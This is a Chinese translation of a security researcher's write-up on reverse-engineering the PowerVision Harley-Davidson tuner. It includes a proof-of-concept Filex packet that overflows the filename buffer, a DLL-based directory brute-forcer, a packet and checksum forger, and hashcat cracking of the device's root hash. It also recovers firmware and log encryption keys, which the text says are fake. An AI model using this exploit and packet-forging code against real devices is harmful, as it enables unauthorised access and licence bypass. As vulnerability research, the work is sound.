黑进Harley的调谐器 Part 2

  • A+

简述

原文:https://therealunicornsecurity.github.io/Powervision-2/
逆向分析著名的Harley调谐器

注意:所有加密密钥和密码都是伪造的,用于撰写本文。

image.png
在上一章节中,我们最终从控制台连接下载了未加密的完整固件。现在该向您展示我们的工作方式。

TLDR

  • 专有文件交换协议中的缓冲区溢出:控制程序计数器,由于输入验证,代码执行时很难达到
  • 命令执行功能留在代码中,可能是为了调试的目的
  • 固件加密密钥、日志加密密钥和根密码的揭秘

第一部分:查找缓冲区溢出

Filex协议是USB Link端口上使用的专有协议的名称。前面的Windows工具使用PVLink.dll共享库。它公开了几个函数,其中每个函数都对应着一个特定的Filex消息序列。我们可以使用USBPcap捕获这些Filex消息:

image.png
在DLL PVLink.dll中,我们可以列出负责发送这些消息的函数:

image.png
我们必须选择一个候选人进行侦查,所以我们开始关注PVReadFile功能。

1.1PVReadFile

这里是PVReadFile的原型:
int *pvreadfile(char* filepath,char* destination_buffer, unsigned int size ,int* pointer_to_mode);
文件路径必须是一个形式为:folder:file name,而模式整数可能与实际的读取模式(r,w)无关,我们只是怀疑它是链接的,并将其硬编码为我们在Wireshark捕获中看到的相同值。
这个函数使用了以下的Filex消息序列:
* hello:获取PowerVision序列号
* file_info: 获取目标文件大小
* open_handle: 创建一个指向目标文件的本地文件描述符。
* read_handle: 从之前创建的句柄中读取。
* close_handle: 不言自明
(注意:可用功能的完整列表见第2.1部分)
我们尝试用不同的攻击模式(目录遍历、编码......)来模糊文件夹和文件名,直到我们遇到一件有趣的事情。如果文件名参数,即文件路径参数的第二部分,包含超过171个字符,设备就会崩溃。我们一直在寻找缓冲区溢出,我们肯定找到了。

1.2 - 缓冲区溢出分析

我们出现了崩溃,现在我们需要知道它是否可被利用。希望我们可以逆转之前获得的固件。SIGSEGV的根源在于一个名为CLEAN_PATH的函数,具有讽刺意味的是,这个函数是为了限制未经授权的文件系统访问,从而帮助保护设备的安全。

它检查 ‘\’, ‘/’ 和 ‘..’模式,如果遇到其中任何一种模式就停止,然后将文件夹名称(':'前的字符串)与授权文件夹的白名单进行比较:
```
uint sanitize_path(int param_1,char log_msg,int size,byte param_path,int len,undefined *param_6)

{
byte bVar1;
char path_:;
char
pcVar2;
int iVar3;
uint uVar4;
uint counter;
char filename [127];
char parsed_path [20];

param_6 = 1;
if (len < size) {
counter = (uint)(0 < len);
if (len < 1) {
LAB_0000b5d0:
log_msg[counter] = '\0';
path_: = strchr(log_msg,0x3a);
if (path_: == (char
)0x0) {
bVar1 = (byte )(param_1 + 4);
if (bVar1 == 0) {
log("CLEAN_PATH: Denying access to \'%s\'\n",log_msg);
return (uint)bVar1;
}
log("CLEAN_PATH: Allowing access to \'%s\'\n",log_msg);
param_6 = 0;
return 1;
}
pcVar2 = strchr(log_msg,0x5c);
if ((pcVar2 != (char
)0x0) || (pcVar2 = strchr(log_msg,0x2f), pcVar2 != (char )0x0)) {
log("CLEAN_PATH: Slashes not allowed\n");
return 0;
}
pcVar2 = strstr(log_msg,"..");
if (pcVar2 != (char
)0x0) {
log("CLEAN_PATH: \'..\' not allowed\n");
return 0;
}
我们可以看到条件跳转寻找字符:
* 3A : 文件夹/文件名定界符
* 5C、2F:反斜线和斜线
* 2E2E:Unix系统的父目录
然后如果字符串包含其中任何一个,就会中断。这不是一个Web应用程序,所以HTML、Base64或任何编码之王都会被当作一个原始字符串。
随后,它使用strcpy复制本地变量中的文件夹名和文件名:

if (path_: + -(int)log_msg < (char )0x10) {
path_: = '\0';
strcpy(parsed_path,log_msg);
strcpy(filename,path_: + 1);
```
这个如果检查文件夹名的长度,应该是在16字节以下,所以它是受保护的。但是,第二个strcpy并没有检查文件名的长度!而根据Ghidra的堆栈框架,文件名的缓冲区有127个字节。而根据Ghidra的堆栈框架,文件名的缓冲区有127个字节。缓冲区溢出就发生在这里。
所以现在我们需要得到调试,以便看看是否可以利用这一点。

1.2.1 - 固件仿真

一开始我们尝试在PowerVision设备上直接运行GDB shell。由于它是2.6.36版本的内核,所以找到一个静态预编译的GDB,它不会返回一个
Kernel too old
错误信息几乎是不可能的。我们曾想过运行Ubuntu ARM 2.6.36,然后自己静态编译GDB,但似乎时间较长。相反,我们选择了固件仿真。
squashfs-root/gui/
├── arm7
│ ├── BobcatArm7-00.01.06.dde
│ └── bootloaderBobcat-00.01.02.dde
├── BobcatApp-arm
├── bobcat.ddskin
├── Bobcat-default.config
├── filex-server-arm
├── fx
├── harley.dbx
├── PVConditions-BigTwin.pvt
├── PVConditions-Street.pvt
├── PVConditions-VRod.pvt
├── splash
│ └── title_pv.tga
└── updaters
├── update.PVFIRMWARE1
├── update.PVGUI1
├── update.PVSKIN1
└── update.PVTUNEDB1

在上一部分中,我们通过UBI块使用恢复壳下载了固件。上面的目录结构是在固件的readonly部分找到的文件的子集。两个最重要的二进制文件是filex-server-arm,它主要处理通过USB Link的filex协议,以及BobcatApp-arm,它包含了所有Dynojet逻辑,用于自行车调整、许可证和日志。

我们在固件二进制文件上运行了Linux硬化检查工具:
filex_patch:
Position Independent Executable: no, normal executable!
Stack protected: no, not found!
Fortify Source functions: no, only unprotected functions found!
Read-only relocations: no, not found!
Immediate binding: no, not found!
Stack clash protection: unknown, no -fstack-clash-protection instructions found
Control flow integrity: no, not found!

当然,在老的2.6.36的Linux上,我们期待着这一点。
我们使用下面的命令行在本地运行filex-server-arm二进制文件:
$ qemu-arm -g 1234 -L squashfs-root/ filex-server-arm -V -s PHONYSERIALNUMBER
Gdb-server在localhost:1234上监听,目录squashfs-root/lib包含了所有所需的共享对象库,我们知道哪些参数是反转主函数所期望的。

现在ARM二进制文件已经在后台运行,我们可以使用gdb-multiarch对其进行调试。该进程将从/dev/ttyGS0读取Filex消息,所以我们使用创建一个命名管道:
$ mknod squashfs-root/dev/ttyGS0 p
$ ls squashfs-root/dev/
squashfs-root/dev/
...
├── mtdblock0
...
├── random
├── tty
├── ttyGS0
├── ttyS0
├── ttyS1
├── ubi0
├── ubi0_0
├── ubi0_1
├── ubi0_2
├── ubi_ctrl
...
And while being d

在GDB中进行调试时,我们可以拍下我们之前制作的171多字节的数据包:
$ python filex_fuzzer.py > squashfs-root/dev/ttyGS0
这里有一个快速的利用代码:
def build_path_exploit():
op = FilexMsg()
data = "updates:"+"A"*175
op.gen(16, 1, 1, 13, len(data), data )
chk = op.do_checksum()
pkt = op.dump_hex().decode('hex')
return pkt

所以前171个字节是用来到达PC寄存器的,然后我们就可以在接下来的槽中写入32位指针。总的有效载荷是175字节。

我们得到:

image.png
我们可以清楚地看到,我们控制了程序计数器寄存器,这意味着我们可以改变执行流程,做一些比SIGSEGV更好的事情。
然而我们遇到了最后一个问题:文件名缓冲区中的内容有一个charset验证。如果一个char的值不包含在0x20和0x7F之间,函数将进入一个错误情况,缓冲区将不会被复制,这是一个耻辱,因为我们有一个完美的候选指针:CFILE_DO_COMMAND函数!(见2.1部分)。(见2.1部分)问题是它的地址包含了高于0x7F的十六进制值,甚至堆栈加载的地址也不能写入缓冲区。

1.2.2 - 利用缓冲区溢出的难度

虽然缓冲区溢出是存在的,但我们还没有找到执行代码的方法。如果您有任何想法,我们愿意接受您的建议,请通过我们的Discord提交给我们:https://discord.gg/eTnPNTuCTZ。

到目前为止,我们已经试过了。

跳转到.text:代码从0x9d18开始,所以第一个字节已经比0x7F高了
跳转到堆栈:地址在0xfffe左右......所以问题相同

第二部分:关注Filex协议

前面我们提到Filex协议是PVLink.dll函数背后的底层逻辑。我们需要了解更多关于它的信息。具体来说,就是哪种操作是可用的。我坚持这部分,因为经验告诉我,当一个API或服务暴露出几种类型的操作时,并不罕见。
* 由于 "历史原因",函数比其他函数更容易受到攻击。
* 故意打开用于调试/维护的后门。
我们现在正在猎取其中的一个。所以,让我们继续进行协议逆向工程吧!

2.1 - Filex数据包结构

一个简单的数据包看起来像:

image.png
我们注意到定界符(0xF0)和某种标头

image.png
在这里,在另一个例子中,我们可以看到一个不同的函数。这个函数在任何读取之前都会被系统地调用,因为它返回文件的大小,用于实际读取函数。

经过几次捕捉Wireshark,我们开始了解二进制消息的结构。下面是DELETE-FILE消息的解析:

image.png
跳过一些无聊的细节,下面是完整的Kaitai结构:
seq:
- id: start_byte
size: 1
contents: [0xf0]
- id: type
type: s4
enum: type_value
- id: param1
type: s4
- id: param2
type: s4
- id: datalen
type: s4
- id: seq
type: s4
- id: data
size: datalen
type: strz
encoding: ASCII
- id: checksum
type: u1
- id: end_byte
size: 1
contents: [0xf0]

Kaitai结构非常简单,没有嵌套数据。
* 分隔符:0xF0(开始和结束)
* 头文件:5个整数(32位),用小尾数表示函数类型、参数、数据长度和序列号
* 数据
* 校验和:1字节
我们现在唯一需要伪造数据包的是生成有效校验和的算法,否则它们将被filex服务器拒绝。我们不需要固件PVLink.dll他自己能伪造正确的数据包。

image.png
算法非常简单:
* 循环遍历数据包中的所有字节,直到校验和偏移量结束,然后在一个字节寄存器中将它们相加,放在一个字节寄存器中
* XOR或0xFF
* 如果校验值为0xF0,则与数据包的定界符末尾有冲突,校验值将被0xDB 0xDC取代
让我们来看看数据包的伪造吧!
现在,我们可以遍历所有可能的函数索引值,当我们到达函数索引0x16时,我们会收到PowerVision一个非常有趣的结果:
Invalid cmd string
这对我们来说是好事。在这样的产品中留下开发者功能是很常见的。通常开发人员需要快速的shell访问来进行调试。但经过多次尝试,我没有成功执行任何命令。有些地方不对劲。几个月后,当我拿到固件的时候,我就能把应该执行shell命令的功能反过来了:
```
size_t __fastcall shell_cmd(int a1, int a2, const char *a3)
{

if ( data_len < 1024 )
{
if ( data_len <= 0 )
{

  v11 = *(_DWORD *)(v3 + 4);
  v12 = *(_DWORD *)(v3 + 8);
  *(_BYTE *)v6 = 0;
  result = log("TODO: shellcmd %d %u %s\n", v11, v12, &v14);
  *((_DWORD *)v5 + 1) = 0;
  return result;
 }

...
```
什么叫TODO?
看来,这个函数其实已经实现了,因为我们可以看到对系统的调用,没有任何交叉引用:

image.png
我的猜测是他们从来没有修改过包含TODO的日志信息,但是CFILE_DO_COMMAND存在于代码中。他们可能只是在发布版本中删除了它的调用。

在PowerVision研究的这个阶段,我们没有固件,所以我们能做的就是通过查看错误响应(通常会是空的)来生硬地猜测可用的Filex消息是什么。但一旦我们获得了它(见第1部分),我们就能够对可用的Filex消息有更好的认识:
enums:
type_value:
1: hello
4: getinfo
5: open_handle
6: close_handle
7: delete_file
8: mkdir
10: read_file
11: write_file
12: flush_handle
13: open_dir
14: read_dir
15: close_dir
16: file_info
17: shell_cmd
18: shutdown
2: getseed
3: sendkey
9: filesync

我们已经达到了我们的目标,那就是映射所有可能的Filex信息!

2.2 - 目录爆破

我们尝试使用DLL中直接可用的功能来映射文件系统。(这是我们在能够得到固件之前不得不使用的一种黑盒方法)。使用DLL的好处是,即使它们被剥离,它们也能导出符号。

image.png
我们使用PVReadDir函数来浏览可用的目录:
int *pvreaddir(char* filepath, char* destination_buffer, int mode, int* integer_parameter);
这个原型与我们之前使用的PVReadFile的原型非常相似。然而,从它的结果中读出结果有点困难,因为我们必须对返回的结构进行逆向工程。下面是使用wordlist和PVReadDir枚举目录的代码:
```

include

include

include

include

include

include

typedef int (pvreadfile)(char,char , unsigned int ,int);
typedef int (pvreaddir)(char, char, int, int);
typedef int (pvgetsize)(char, int);
typedef int (
pvdosoap)(int, char, char, char, int, int, int, int);

char *type(int t){
switch(t){
case 4:
return "FOLDER: ";
case 8:
return "FILE: ";
default:
return "UNK: ";
}
}

void read_dir(char file){
HMODULE hModule = LoadLibrary("PVLink.dll");
pvreaddir readdir = (pvreaddir) GetProcAddress(hModule, "PVReadDir");
char
dest = malloc(2048sizeof(char));
int mode = 0x400;
int parm = 0;
int res = readdir(file, dest, mode, &parm);
// The PowerVision returns a directory structure with each field being a different file in the folder, separated by 132 bytes each
// This loop is only made for parsing the PVReaddir response and show all the files in the folder
for (int i=0;i<=parm;i++){
printf("%s%s\n", type(
dest), dest+4);
dest+=132;
}
free(dest);
}
void brute_dir(){
HMODULE hModule = LoadLibrary("PVLink.dll");
pvreaddir readdir = (pvreaddir) GetProcAddress(hModule, "PVReadDir");
char dest = malloc(2048sizeof(char));
int mode = 0x400;
int parm = 0;
FILE* dlist = fopen("directory_list.txt", "r");
char line[256];

while (fgets(line, sizeof(line), dlist)) {
strtok(line, "\n");
strcat(line, ":");
int res = readdir(line, dest, mode, &parm);
if (res != 1009){
printf("Read status=%d\nDirname=%s\n", res, line);
}
memset(file, 0, 64*sizeof(char));
}
free(dest);
fclose(dlist);
}

int main(int argc, char **argv){
read_dir("params:soap_resp");
brute_dir();
return 0;
}
这里没有什么奇特的东西,我们只是。
* 用LoadLibrary函数加载DLL文件。
* 使用函数名和dlsym找到我们要执行的函数。
* 将参数设置为与USBPcap捕获中的参数大致相同(除了我们要控制的参数外)。
* 执行调用
* 使用dirty loop解析返回的结构
返回的结构看起来像:

debug033:001D2828 db 8
debug033:001D2829 db 0
debug033:001D282A db 0
debug033:001D282B db 0
debug033:001D282C db 74h ; t
debug033:001D282D db 65h ; e
debug033:001D282E db 73h ; s
debug033:001D282F db 74h ; t
debug033:001D2830 db 0

  • 8 is a file

    debug033:001D28AC db 4
    debug033:001D28AD db 0
    debug033:001D28AE db 0
    debug033:001D28AF db 0
    debug033:001D28B0 db 64h ; d
    debug033:001D28B1 db 79h ; y
    debug033:001D28B2 db 6Eh ; n
    debug033:001D28B3 db 6Fh ; o
    debug033:001D28B4 db 6Ah ; j
    debug033:001D28B5 db 65h ; e
    debug033:001D28B6 db 74h ; t
    debug033:001D28B7 db 5Fh ; _
    debug033:001D28B8 db 74h ; t
    debug033:001D28B9 db 75h ; u
    debug033:001D28BA db 6Eh ; n
    debug033:001D28BB db 65h ; e
    debug033:001D28BC db 73h ; s
    debug033:001D28BD db 0

  • 4 is a folder

    debug033:001D269C db 4
    debug033:001D269D db 0
    debug033:001D269E db 0
    debug033:001D269F db 0
    debug033:001D26A0 db 2Eh ; .
    debug033:001D26A1 db 2Eh ; .
    debug033:001D26A2 db 0

  • .. is a folder !!
    我们可以用Python更简单地做同样的事情:
    from ctypes import *
    def read_dir(path):
    pvlink = CDLL("./PVLink.dll")
    readdir = pvlink.PVReadDir
    nbfolders = c_int(0)
    mode = 0x400
    res = readdir(path, byref(dest), mode, byref(nbfolders))
    return res
    ```
    这个模糊测试/爆破测试给我们提供了有趣的信息,我们发现了以下目录:

  • updates: 实际上是重定向到可访问文件夹的根目录下
  • params: 只有两个文件:soap_req和soap_resp,用于通过USB链接端口查询SOAP API。
  • stock_bins: 包含曲调文件
  • logs:你可以猜到里面的内容。
    这里最有趣的应该是 updates 文件夹,因为它包含了我们一直在急切寻找的东西:licenses 文件夹。问题是,使用Filex协议,不可能在嵌套的文件夹中读取,我们想要的文件只能使用以下模式读取:upsens:licenses:license_file.txt。然而,在下一部分,我们将展示我们如何获得一个相当不错的方法,能够在任何地方读取我们想要的文件。

第3部分:Looting

Root密码
因为我们可以得到/etc/shadow文件,所以我们运行hashcat来获取设备的root密码:
```
$ hashcat -a 3 -m 500 squashfs-root/etc/shadow ?l?l?l?l?l?l
hashcat (v6.1.1) starting...

OpenCL API (OpenCL 1.2 pocl 1.5, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]

  • Device #1: pthread-Intel(R) Core(TM) i7-10710U CPU @ 1.10GHz, 13597/13661 MB (4096 MB allocatable), 12MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates

Applicable optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
* Brute-Force

ATTENTION! Pure (unoptimized) backend kernels selected.
Using pure kernels enables cracking longer passwords but for the price of drastically reduced performance.
If you want to switch to optimized backend kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 67 MB

$1$SALT$HASH:PASS

Session..........: hashcat
Status...........: Cracked
Hash.Name........: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)
Hash.Target......: $1$SALT$HASH
Time.Started.....: Tue Jan 19 10:53:35 2021 (6 secs)
Time.Estimated...: Tue Jan 19 10:53:41 2021 (0 secs)
Guess.Mask.......: ?l?l?l?l [4]
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 34393 H/s (5.26ms) @ Accel:64 Loops:250 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 186624/456976 (40.84%)
Rejected.........: 0/186624 (0.00%)
Restore.Point....: 6912/17576 (39.33%)
Restore.Sub.#1...: Salt:0 Amplifier:8-9 Iteration:750-1000
Candidates.#1....: hdezi -> 6FYGvuy

Started: Tue Jan 19 10:53:33 2021
Stopped: Tue Jan 19 10:53:42 2021
在尝试了整个rockyou.txt没有任何成功后,我们用不同的掩码攻击进行了尝试,得到了一个非常有趣的结果:我们找到了一个只有几个小写字母的匹配密码。考虑到保护措施的数量,我们是相当惊讶的,这么容易找到匹配的根密码。也许是MD5的碰撞?
总之多亏了这一点,我们不用再经过整个U-Boot/Recovery模式的过程来获取shell。现在我们可以直接使用内部UART Debug端口进行连接:

ROMBoot
Welcome to bobcat
bobcat login: root
password:

id

uid=0(root) gid=0(root)

hellyeah

加密密钥
得到root shell后,我们想找到我们的圣杯:PVU_FILE加密密码。在 squashfs-root 中翻阅 OpenSSL 调用,我们在 Bobcat-app-arm 二进制中找到了以下函数:

memcpy(file,"/tmp/PVU_FILE",0xe);
memcpy(password,&firm_key,0x20);
local_1a0 = 0;
sprintf(cmd_buffer,
"unzip -p \'%s\' PVU_FILE | openssl enc -d -aes-256-cbc -salt -out %s -pass pass:",
archive_name,file);
strcat(cmd_buffer,password);
system(cmd_buffer,0);
cfile_sync();
iVar3 = check_firmware_file(file);
if (iVar3 == 0) {
memcpy(err_file,"Missing package contents",0x19);
return 0;
}
我们的密码是一个32字节的AES-256-CBC密钥。但是看了上面的代码,我们意识到密码可能来自于其中的一个.dbx文件。
$ binwalk -E harley.dbx
![image.png](/img/sin/M00/00/53/wKg0C2AH8_iAQNEqAABHpBnWn2A152.png)
嗯,这些文件看起来是加密的。但这次我们没有用加密密钥玩猫捉老鼠的游戏,而是运气好。固件的ubifs部分(读/写)包含了日志文件:

Dec 31 17:12:22 bobcat user.info BobcatApp: CFILE_DELETE: Deleting '/tmp/PVU_TYPE'
Dec 31 17:12:22 bobcat user.info BobcatApp: CFILE_DELETE: Deleting '/tmp/PVU_CERT'
Dec 31 17:12:22 bobcat user.info BobcatApp: CFILE_DELETE: Deleting '/tmp/PVU_FILE'
Dec 31 17:12:22 bobcat user.info BobcatApp: CFILE_SYNC: Performing sync...
Dec 31 17:12:22 bobcat user.info BobcatApp: CFILE_SYNC: Sync done.
Dec 31 17:12:22 bobcat user.info BobcatApp: CFILE_DO_COMMAND: unzip -o '/flash/storage/PV_TUNEDB-0.0.10.09.pvu' PVU_TYPE -d /tmp
Dec 31 17:12:28 bobcat user.info BobcatApp: CFILE_DO_COMMAND: Returned 0
Dec 31 17:12:28 bobcat user.info BobcatApp: CFILE_SYNC: Performing sync...
Dec 31 17:12:28 bobcat user.info BobcatApp: CFILE_SYNC: Sync done.
Dec 31 17:12:28 bobcat user.info BobcatApp: CFILE_DO_COMMAND: unzip -o '/flash/storage/PV_TUNEDB-0.0.10.09.pvu' PVU_CERT -d /tmp
Dec 31 17:12:34 bobcat user.info BobcatApp: CFILE_DO_COMMAND: Returned 0
Dec 31 17:12:34 bobcat user.info BobcatApp: CFILE_SYNC: Performing sync...
Dec 31 17:12:34 bobcat user.info BobcatApp: CFILE_SYNC: Sync done.
Dec 31 17:12:34 bobcat user.info BobcatApp: CFILE_DO_COMMAND: unzip -p '/flash/storage/PV_TUNEDB-0.0.10.09.pvu' PVU_FILE | openssl enc -d -aes-256-cbc -salt -out /tmp/PVU_FILE -pass pass:F6678H9Z9U8A7DHZDYCCUXH9SH2
Dec 31 17:13:15 bobcat user.info BobcatApp: CFILE_DO_COMMAND: Returned 0
厉害!我们找到了必杀技。我在想,为什么要经过那么多层的混淆,最终把加密密钥以明文形式留在日志文件中... ...
嗯,这些日志文件应该是加密的:

void encrypt_logs(undefined4 param_1)

{
size_t sVar1;
uint uVar2;
char acStack1040 [1028];

sprintf(acStack1040,"logread | openssl enc -aes-256-cbc -a -salt -out %s",param_1);
sVar1 = strlen(acStack1040);
acStack1040[sVar1 + 7] = 'p';
acStack1040[sVar1 + 8] = acStack1040[sVar1 + 7] + -0xdf;
acStack1040[sVar1 + 0xd] = acStack1040[sVar1 + 8] + '\xaa';
acStack1040[sVar1 + 0x10] = acStack1040[sVar1 + 7] + -0x7c;
acStack1040[sVar1 + 0x11] = acStack1040[sVar1 + 8] + -0x8d;
acStack1040[sVar1 + 6] = acStack1040[sVar1 + 0x11] + -0x20;
acStack1040[sVar1 + 0xf] = acStack1040[sVar1 + 8] + -0x94;
acStack1040[sVar1 + 0xb] = acStack1040[sVar1 + 8] + -0x6e;
acStack1040[sVar1 + 0xe] = acStack1040[sVar1 + 0xf] + '\x86';
acStack1040[sVar1 + 9] = acStack1040[sVar1 + 8] + '\x78';
acStack1040[sVar1 + 0x12] = acStack1040[sVar1 + 7] + -0x32;
acStack1040[sVar1 + 5] = acStack1040[sVar1 + 0xb] + '12';
acStack1040[sVar1] = acStack1040[sVar1 + 7] + -0x90;
acStack1040[sVar1 + 3] = acStack1040[sVar1 + 5] + -0xfc;
acStack1040[sVar1 + 0xc] = acStack1040[sVar1 + 0x10] + '?';
acStack1040[sVar1 + 10] = acStack1040[sVar1 + 0xc] + '\x80';
acStack1040[sVar1 + 1] = acStack1040[sVar1 + 0x11] + -12;
acStack1040[sVar1 + 4] = acStack1040[sVar1 + 9];
uVar2 = (uint)(byte)acStack1040[sVar1 + 0xf] + 0x70 & 0xff;
acStack1040[sVar1 + 2] = (char)uVar2;
log("Executing system command: %s\n",acStack1040,uVar2,(uint)(byte)acStack1040[sVar1 + 5]);
system(acStack1040);
sync();
return;
}
```
该函数可以生成各种加减乘除的密码。找到这里的密码只是几分钟的事情,解密日志文件也是如此。混淆性相当弱。但这还不是最棒的部分。原来的日志文件在被加密后是不会被删除的。这可能就是为什么我们可以在明文中找到固件更新加密密钥的原因.

结束语

我们在做这件事的时候很开心,但在结束之前,我们想再探索一些神秘的东西。
* 加密数据库:如何解密它们
* 伪造固件并写入:要么直接写入ubi/mtd设备,要么伪造更新并绕过完整性检查。
* 许可证绕过:通过修补固件或更换许可证签名密钥来解锁车辆识别码。
这是一篇很长的文章,感谢您一直坚持到最后,并保持网络安全!

参考文献

  • Dotdotpwn: https://github.com/wireghoul/dotdotpwn
  • Seclists: https://github.com/danielmiessler/SecLists
  • GDB-gef: https://github.com/hugsy/gef
  • Qemu cross debugging: https://reverseengineering.stackexchange.com/questions/8829/cross-* * debugging-for-arm-mips-elf-with-qemu-toolchain
  • Kaitai Web IDE: https://ide.kaitai.io/

附件

filex消息的Kaitai结构:
```

This is a generated file! Please edit source .ksy file and use kaitai-struct-compiler to rebuild

from pkg_resources import parse_version
import kaitaistruct
from kaitaistruct import KaitaiStruct, KaitaiStream, BytesIO
from enum import Enum

if parse_version(kaitaistruct.version) < parse_version('0.9'):
raise Exception("Incompatible Kaitai Struct Python API: 0.9 or later is required, but you have %s" % (kaitaistruct.version))

import struct

M8 = 0xffL
M32 = 0xffffffffL
def m32(n):
return n & M32
def madd(a, b):
return m32(a+b)
def msub(a, b):
return m32(a-b)
def mls(a, b):
return m32(a<<b)
def int322le(val):
return struct.pack('<I', val)

class FilexMsg(KaitaiStruct):

class TypeValue(Enum):
    hello = 1
    getseed = 2
    sendkey = 3
    getinfo = 4
    open_handle = 5
    close_handle = 6
    delete_file = 7
    mkdir = 8
    filesync = 9
    read_file = 10
    write_file = 11
    flush_handle = 12
    open_dir = 13
    read_dir = 14
    close_dir = 15
    file_info = 16
    shell_cmd = 17
    shutdown = 18

def __init__(self, _parent=None, _root=None):
    self._parent = _parent
    self._root = _root if _root else self

def fromfile(self, _io, _parent=None, _root=None):
    self._io = _io
    self._parent = _parent
    self._root = _root if _root else self
    self._read()

def _read(self):
    self.start_byte = self._io.read_bytes(1)
    if not self.start_byte == b"\xF0":
        raise kaitaistruct.ValidationNotEqualError(b"\xF0", self.start_byte, self._io, u"/seq/0")
    self.type = KaitaiStream.resolve_enum(FilexMsg.TypeValue, self._io.read_s4le())
    self.param1 = self._io.read_s4le()
    self.param2 = self._io.read_s4le()
    self.datalen = self._io.read_s4le()
    self.seq = self._io.read_s4le()
    self.data = (KaitaiStream.bytes_terminate(self._io.read_bytes(self.datalen), 0, False)).decode(u"ASCII")
    self.checksum = self._io.read_u1()
    self.end_byte = self._io.read_bytes(1)
    if not self.end_byte == b"\xF0":
        raise kaitaistruct.ValidationNotEqualError(b"\xF0", self.end_byte, self._io, u"/seq/8")

def gen(self, type_int, param1, param2, seqnum, length, data):
    self.start_byte = b"\xF0"
    self.type = type_int
    self.param1 = param1
    self.param2 = param2
    self.datalen = length
    self.seq = seqnum
    self.data = data
    self.checksum = 0
    self.end_byte = b"\xF0"

def dump_hex(self):
    return self.start_byte.encode('hex') + int322le(self.type).encode('hex') + int322le(self.param1).encode('hex') + int322le(self.param2).encode('hex') + int322le(self.datalen).encode('hex') + int322le(self.seq).encode('hex') + self.data.encode('hex') + '{0:02x}'.format(self.checksum)  + self.end_byte.encode('hex')


def do_checksum(self):
    a = self.dump_hex().decode('hex')[1:-2]
    chk = 0
    for e in a:
        chk += int("0x"+e.encode('hex'), 16)
        chk = chk & M8
    res = (chk^0xFF)&M8
    res = madd(res, 1)&M8
    if res == 0xF0:
        return 0xD0
    self.checksum = res
    return res & M8

```